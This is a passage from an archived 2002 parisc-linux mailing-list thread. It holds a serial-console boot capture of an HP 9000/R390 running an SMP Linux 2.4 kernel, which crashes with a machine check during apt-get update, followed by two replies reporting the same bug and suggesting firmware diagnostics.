vt102 palo_kernel=3D4/vmlinux'
Selected kernel: /vmlinux from partition 4
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1893508 mediaptr 0x1000
Segment 1 load 002d0000 size 596888 mediaptr 0x1d0000
Segment 2 load 00364000 size 221560 mediaptr 0x262000
Segment 3 load 0039c000 size 8192 mediaptr 0x299000
Segment 4 load 003a0000 size 32768 mediaptr 0x29b000
Segment 5 load 003e38a4 size 82000 mediaptr 0x2a38a4
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-pa14 (root@elli) (gcc version 3.0.4) #1 SMP Wed Sep 11=
 12:54:30 EEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005ba0 00000491 00000000 00000002 7777173a 100000f0 00000008 000000=
b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x3
model 9000/800/R390
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3Dvt102=
 palo_kernel=3D4/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 478.41 BogoMIPS
Memory: 1033080k available
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Bluefish Add-on FW-SCSI (4) at 0xf1004000 [8/4], versions 0x13, 0x1, 0x89
3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d
4. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0, 0x81,=
  additional addresses: 0xffd0c000 0xffc00000=20
5. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f, 0x0, =
0x74,  additional addresses: 0xffd01000 0xffd03000=20
6. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f, 0x0,=
 0x8c
7. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f, 0x0, 0x82
8. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f, 0x0,=
 0x8a
9. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f, 0x0, 0=
x84
10. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f, 0x0, =
0x84
11. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0, 0x8e
12. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31, 0x0,=
 0x8c
13. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0, 0x9=
0,  additional addresses: 0xffc88000=20
14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
15. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
16. Bluefish Add-on FW-SCSI (4) at 0xf180c000 [10/12], versions 0x13, 0x1, =
0x89
17. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
18. UL 2w U+/240 (350/550) (0) at 0xfffa0000 [32], versions 0x5ba, 0x0, 0x4
19. Memory (1) at 0xfffb1000 [49], versions 0x7e, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 240.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 3.x (card mode) found at 0xf1008000
Dino: Failed to allocate memory region
POSIX conformance testing by UNIFIX
SMP: Bootstrap processor only.
SMP: Total 1 of 1 processors activated (478.41 BogoMIPS noticed).
Waiting on wait_init_idle (map =3D 0x0)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0140000.
Starting kswapd
VFS: Diskquotas version dquot_6.4.0 initialized
Journalled Block Device driver loaded
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_P=
CI enabled
ttyS00 at iomem 0xffd05800 (irq =3D 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq =3D 121) is a 16550A
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 A3 38 14 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 37
ncr53c8xx: 53c720 detected
ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
scsi1 : ncr53c8xx-3.4.3b-20010512
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi2: 53c710 rev 2=20
scsi2 : LASI SCSI 53c700
scsi2: (2:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: DVD-ROM 6x/32x    Rev: 1.08
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi2: (3:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: C1537A            Rev: HP02
  Type:   Sequential-Access                  ANSI SCSI revision: 02
st: Version 20020205, bufsize 32768, wrt 30720, max init. bufs 4, s/g segs =
16
Attached scsi tape st0 at scsi2, channel 0, id 3, lun 0
Attached scsi disk sda at scsi0, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 2, lun 0
Attached scsi disk sdc at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdd at scsi0, channel 0, id 4, lun 0
Attached scsi disk sde at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdf at scsi0, channel 0, id 6, lun 0
Attached scsi disk sdg at scsi1, channel 0, id 1, lun 0
Attached scsi disk sdh at scsi1, channel 0, id 2, lun 0
Attached scsi disk sdi at scsi1, channel 0, id 3, lun 0
Attached scsi disk sdj at scsi1, channel 0, id 4, lun 0
Attached scsi disk sdk at scsi1, channel 0, id 5, lun 0
Attached scsi disk sdl at scsi1, channel 0, id 6, lun 0
ncr53c720-0-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
ncr53c720-0-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
 sdb: unknown partition table
ncr53c720-0-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdc: 8388314 512-byte hdwr sectors (4295 MB)
 sdc: unknown partition table
ncr53c720-0-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)
 sdd: unknown partition table
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)
 sde: unknown partition table
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdf: 8388314 512-byte hdwr sectors (4295 MB)
 sdf: unknown partition table
ncr53c720-1-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdg: 8388314 512-byte hdwr sectors (4295 MB)
 sdg: unknown partition table
ncr53c720-1-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdh: 8388314 512-byte hdwr sectors (4295 MB)
 sdh: unknown partition table
ncr53c720-1-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdi: 8388314 512-byte hdwr sectors (4295 MB)
 sdi: unknown partition table
ncr53c720-1-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdj: 8388314 512-byte hdwr sectors (4295 MB)
 sdj: unknown partition table
ncr53c720-1-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdk: 8388314 512-byte hdwr sectors (4295 MB)
 sdk: unknown partition table
ncr53c720-1-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdl: 8388314 512-byte hdwr sectors (4295 MB)
 sdl: unknown partition table
Attached scsi CD-ROM sr0 at scsi2, channel 0, id 2, lun 0
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   504.400 MB/sec
   8regs_prefetch:   443.600 MB/sec
   32regs    :   459.600 MB/sec
   32regs_prefetch:   432.400 MB/sec
raid5: using function: 8regs (504.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 1024 buckets, 48Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 216k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 977140k swap-space (priority -1)
Checking root file system...
fsck 1.28 (31-Aug-2002)
/dev/sda3: clean, 30096/396000 files, 160528/791616 blocks
System time was Thu Sep 12 05:23:22 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Thu Sep 12 05:23:20 UTC 2002.
Calculating module dependencies... done.
Loading modules:=20
Starting RAID devices:  [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
md: autorun ...
md: considering sdg ...
md:  adding sdg ...
md:  adding sdf ...
md:  adding sde ...
md:  adding sdd ...
md:  adding sdc ...
md:  adding sdb ...
md: created md0
md: bind<sdb,1>
md: bind<sdc,2>
md: bind<sdd,3>
md: bind<sde,4>
md: bind<sdf,5>
md: bind<sdg,6>
md: running: <sdg><sdf><sde><sdd><sdc><sdb>
md: sdg's event counter: 00000012
md: sdf's event counter: 00000012
md: sde's event counter: 00000012
md: sdd's event counter: 00000012
md: sdc's event counter: 00000012
md: sdb's event counter: 00000012
md0: max total readahead window set to 992k
md0: 4 data-disks, max readahead per data-disk: 248k
raid5: spare disk sdg
raid5: device sdf operational as raid disk 4
raid5: device sde operational as raid disk 3
raid5: device sdd operational as raid disk 2
raid5: device sdc operational as raid disk 1
raid5: device sdb operational as raid disk 0
raid5: allocated 5436kB for md0
raid5: raid level 5 set md0 active with 5 out of 5 devices, algorithm 2
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
md: updating md0 RAID superblock on device
md: sdg [events: 00000013]<6>(write) sdg's sb offset: 4194048
md: sdf [events: 00000013]<6>(write) sdf's sb offset: 4194048
md: sde [events: 00000013]<6>(write) sde's sb offset: 4194048
md: sdd [events: 00000013]<6>(write) sdd's sb offset: 4194048
md: sdc [events: 00000013]<6>(write) sdc's sb offset: 4194048
md: sdb [events: 00000013]<6>(write) sdb's sb offset: 4194048
md: ... autorun DONE.
/dev/md0 done.
Checking all file systems...
fsck 1.28 (31-Aug-2002)
/dev/sda4: clean, 25/8256 files, 18237/32769 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda4 on /boot type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: link ok.
done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Sep 12 08:23:37 EEST 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting OpenLDAP: slapd.
Starting internet superserver: inetd.
Starting mail transport agent: Postfix.
Starting OpenBSD Secure Shell server: sshd.
Starting teapop: teapop.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux testing/unstable elli ttyS0

elli login: root
Password:=20
Last login: Wed Sep 11 15:47:34 2002 on ttyS0
Linux elli 2.4.19-pa14 #1 SMP Wed Sep 11 12:54:30 EEST 2002 parisc unknown =
unknown GNU/Linux

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
elli:~# uname -=08 =08=08 =08=08 =08=08 =08=08 =08=08 =08=08 =08=07=07=07=
=07cat /proc/pcu=08 =08=08 =08=08 =08cpuinfo
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8200 (PCX-U+)
cpu MHz		: 240.000000
model		: 9000/800/R390
model name	: UL 2w U+/240 (350/550)
hversion	: 0x00005ba0
sversion	: 0x00000491
I-cache		: 2048 KB
D-cache		: 2048 KB (WB)
ITLB entries	: 120
DTLB entries	: 120 - shared with ITLB
bogomips	: 478.41
software id	: 2004293434

elli:~# sync && apt-get update
0% [Working]            Hit http://security.debian.org stable/updates/main =
Packages
            Hit http://security.debian.org stable/updates/main Release
            Hit http://security.debian.org stable/updates/contrib Packages
            Hit http://security.debian.org stable/updates/contrib Release
            Hit http://security.debian.org stable/updates/non-free Packages
            Hit http://security.debian.org stable/updates/non-free Release
            19% [Connecting to ftp.fi.debian.org] [Waiting for file]       =
                                                 Get:1 http://non-us.debian=
.org unstable/non-US/main Packages [34.2kB]
                                                        3% [Connecting to f=
tp.fi.debian.org (130.230.54.99)] [1 Packages 1106/34.2kB 3%]              =
                                                                  Get:2 htt=
p://ftp.fi.debian.org unstable/main Packages [1945kB]
                                                                           =
     0% [2 Packages 1093/1945kB 0%] [1 Packages 8346/34.2kB 24%]           =
                                                7% [2 Packages 115485/1945k=
B 5%] [Waiting for file]                                                   =
Get:3 http://non-us.debian.org unstable/non-US/main Release [89B]
                                                   Hit http://non-us.debian=
.org unstable/non-US/contrib Packages
                                                   Get:4 http://non-us.debi=
an.org unstable/non-US/contrib Release [92B]
                                                   Hit http://non-us.debian=
.org unstable/non-US/non-free Packages
                                                   Get:5 http://non-us.debi=
an.org unstable/non-US/non-free Release [93B]
                                                   Hit http://non-us.debian=
.org stable/non-US/main Sources
                                                   Hit http://non-us.debian=
.org stable/non-US/main Release
                                                   Hit http://non-us.debian=
.org stable/non-US/contrib Sources
7% [2 Packages 115485/1945kB 5%] [Waiting for file]                        =
                           Hit http://non-us.debian.org stable/non-US/contr=
ib Release
7% [2 Packages 115485/1945kB 5%] [Waiting for file]                        =
                           7% [1 Packages gzip 0] [2 Packages 115485/1945kB=
 5%] [Waiting for file]                                                    =
                   Hit http://non-us.debian.org stable/non-US/non-free Sour=
ces
                                                                       Hit =
http://non-us.debian.org stable/non-US/non-free Release
                                                                       10% =
[1 Packages gzip 0] [2 Packages 174853/1945kB 8%]                          =
                           11% [2 Packages 190781/1945kB 9%]               =
                  15% [2 Packages 280557/1945kB 14%]20% [2 Packages 376125/=
1945kB 19%]25% [2 Packages 465901/1945kB 23%]30% [2 Packages 564365/1945kB =
29%]34% [2 Packages 649797/1945kB 33%]37% [2 Packages 712061/1945kB 36%]41%=
 [2 Packages 783013/1945kB 40%]45% [2 Packages 856861/1945kB 44%]          =
                        48% [2 Packages 924917/1945kB 47%]                 =
                   153kB/s 6s51% [2 Packages 992973/1945kB 51%]            =
                        153kB/s 6s55% [2 Packages 1072613/1945kB 55%]      =
                             153kB/s 5s59% [2 Packages 1152253/1945kB 59%] =
                                  153kB/s 5s62% [2 Packages 1198589/1945kB =
61%]                                   153kB/s 4s67% [2 Packages 1292709/19=
45kB 66%]                                   153kB/s 4s70% [2 Packages 13607=
65/1945kB 69%]                                   153kB/s 3s74% [2 Packages =
1431717/1945kB 73%]                                   153kB/s 3s78% [2 Pack=
ages 1509909/1945kB 77%]                                   153kB/s 2s81% [2=
 Packages 1585205/1945kB 81%]                                   153kB/s 2s8=
5% [2 Packages 1661949/1945kB 85%]                                   153kB/=
s 1s90% [2 Packages 1750277/1945kB 89%]                                   1=
53kB/s 1s93% [2 Packages 1813989/1945kB 93%]                               =
    153kB/s 0s97% [2 Packages 1897973/1945kB 97%]                          =
         150kB/s 0s                                                        =
                        Get:6 http://ftp.fi.debian.org unstable/main Releas=
e [82B]
                                                                           =
     Hit http://ftp.fi.debian.org unstable/non-free Packages
                                                                           =
     Get:7 http://ftp.fi.debian.org unstable/non-free Release [86B]
                                                                           =
     Get:8 http://ftp.fi.debian.org unstable/contrib Packages [47.8kB]
97% [8 Packages 2308/47.8kB 4%]                                       150kB=
/s 0s97% [2 Packages gzip 0] [8 Packages 2308/47.8kB 4%]                   =
150kB/s 0s                                                                 =
               Get:9 http://ftp.fi.debian.org unstable/contrib Release [85B]
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Release
99% [2 Packages gzip 212992]                                          150kB=
/s 0s99% [2 Packages gzip 2093056]                                         =
150kB/s 0s99% [2 Packages gzip 4059136]                                    =
     150kB/s 0s99% [2 Packages gzip 5926912]                               =
          150kB/s 0s99% [Working]                                          =
               150kB/s 0s99% [8 Packages gzip 0]                           =
                    150kB/s 0s100% [Working]                               =
                         150kB/s 0s                                        =
                                        Fetched 2027kB in 15s (131kB/s)
Reading Package Lists... 0%apt-get(285): unaligned access to 0x403cf08c at =
ip=3D0x4005e4f7
Reading Package=20

Lists... 0%
High Priority Machine Check (HPMC): Code=3D1 regs=3D102ea080 (Addr=3D000000=
00)

--17pEHd4RhPHOinZp--


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: 12 Sep 2002 00:04:18 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1031810658.9835.60.camel@beavis>
References: <20020912054834.GA32209@www1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621707 13847 80.91.229.3 (22 Nov 2014 02:01:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 12 00:04:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C72774829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Sep 2002 00:04:20 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 70E6E2E3FD; Thu, 12 Sep 2002 00:04:18 -0600 (MDT)
In-Reply-To: <20020912054834.GA32209@www1.dt-link.fi>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16093

Hello Arto,

I have also seen this problem on the K460 when running SMP, where as
the UP kernel works fine.  I have started to debug this problem once,
but I got side tracked and have not gotten back to finish debugging
this problem. I do not think I will have time to look at it before
next week, but I will see what I can find next week.

Thanks,

- Ryan.

P.S. When talking with Richard Hirst about this problem, we thought it
might be a Copy On Write problem, since the problem appears to be with
apt-get.  Last time (a couple of months ago) I tried it dpkg -i <pkg>
worked fine.



On Wed, 2002-09-11 at 23:48, Arto Jantunen wrote:
> This is a HP9000/R390 machine, or atleast the previous owner
> said so. It has two PA8200 cpu's running at 240Mhz, but I have
> disabled the second cpu for debuging this problem. As you can see
> from the attached minicom capture, if running an SMP kernel with
> only one cpu, it crashes. It also crashes when running on two cpu's,
> which is why I am reporting this. This proves that the problem has
> nothing to do with the two cpu's stepping on each others toes or
> anything. The machine runs perfectly stable on an UP kernel. Any
> comments, suggestions of things that I could do to help someone
> debug it and anything else is welcome. Please CC me on replies,
> I'm not on the list.
> 
> --
> Arto Jantunen
> ----
> 




From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems (hardware gurus, please read)
Date: Wed, 11 Sep 2002 23:52:28 -0700 (PDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209112338570.1464-100000@garibaldi.apptechsys.com>
References: <20020912054834.GA32209@www1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621707 13848 80.91.229.3 (22 Nov 2014 02:01:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 12 00:52:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0922F4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Sep 2002 00:52:31 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id DF8697BC4A; Wed, 11 Sep 2002 23:52:28 -0700 (PDT)
In-Reply-To: <20020912054834.GA32209@www1.dt-link.fi>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16094

I have the exact same problem on my J5000.  apt-get update and samba are 
the two things that tend to crash it immediately.  It can run fairly well 
SMP w/o doing either of these.  Also, X is now also crashing SMP (not sure 
if/when things changed, as I wasn't running graphics for a while, and 
can't clearly remember running X on smp).

The HPMC had an odd thing in the IO stuff -

> > '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> > 
> >  Rope     Word1        Word2            Word3
> > ------ ------------ ------------
> >    0    0x00000000   0x0e0cc009   0x00000000fed30048
> >    1    0x00000000   0x1e0cc009   0x00000000fed32048
> >    2    ----------   0x2e0cc229   ------------------
> >    3    ----------   0x3e0cc009   ------------------
> >    4    0x00000000   0x4e0cc009   0x00000000fed38048
> >    5    ----------   0x5e0cc009   ------------------
> >    6    0x00000000   0x6e0cc009   0x00000000fed3c048
> >    7    ----------   0x7e0cc009   ------------------

And here is one from another time:

'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc229   ------------------
   3    ----------   0x3f4fd808   ------------------
   4    0x00000000   0x40000008   0xffffffffffffffff
   5    ----------   0x50000008   ------------------
   6    0x00000000   0x60000008   0xffffffffffffffff
   7    ----------   0x70100008   ------------------

possibly, could you send the output of ser pim after such a crash.  Here's 
the general idea:

interrupt the boot process, and at the BOOT_ADMIN prompt type "ser 
clearpim".  then bo pri.  Crash the box, reboot it, interrupt it again, 
and type ser pim.  I am particularly interested in the io part (should be 
at the end)...

Also, are there any HP hardware gurus out there that can explain these odd 
io numbers?  Could they be relevant?


On Thu, 12 Sep 2002, Arto 
Jantunen wrote:

> This is a HP9000/R390 machine, or atleast the previous owner
> said so. It has two PA8200 cpu's running at 240Mhz, but I have
> disabled the second cpu for debuging this problem. As you can see
> from the attached minicom capture, if running an SMP kernel with
> only one cpu, it crashes. It also crashes when running on two cpu's,
> which is why I am reporting this. This proves that the problem has
> nothing to do with the two cpu's stepping on each others toes or
